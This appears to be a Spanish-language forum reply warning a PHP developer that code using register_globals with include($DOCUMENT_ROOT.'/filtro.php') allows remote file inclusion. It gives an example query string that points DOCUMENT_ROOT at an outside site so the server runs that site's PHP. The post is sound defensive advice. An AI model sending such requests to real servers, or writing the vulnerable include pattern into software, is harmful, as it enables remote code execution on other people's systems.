Es que es de hecho un problema de seguridad si no se trata como corresponde.
Al usar register_globals sin comprobar correctamente los datos, te estás haciendo vulnerable a un ataque remoto:
Vos tenés este código:
$i=include($DOCUMENT_ROOT.'/filtro.php'); if($i!==false)
Si tu página es "index.php", basta hacerte una petición como esta:
index.php?DOCUMENT_ROOT=http://www.misitio.com
(por supuesto, codificando correctamente : y /) para que tu programa intente obtener el archivo
http://www.misitio.com/filtro.php
Que como comprenderás, puede contener CUALQUIER cosa. Incluso código PHP que tu servidor ejecutará como si se tratara de código que vos mismo escribiste.
Por eso register_globals viene deshabilitado en las últimas versiones de PHP 4 y 5, y no existirá en PHP6.
Por la seguridad de tus programas, para evitar problemas futuros, programá con register_globals puesto a OFF, y usá $_SERVER['DOCUMENT_ROOT'] y las demás superglobales ($_POST, $_GET, $_COOKIES, $_ENV).
Saludos.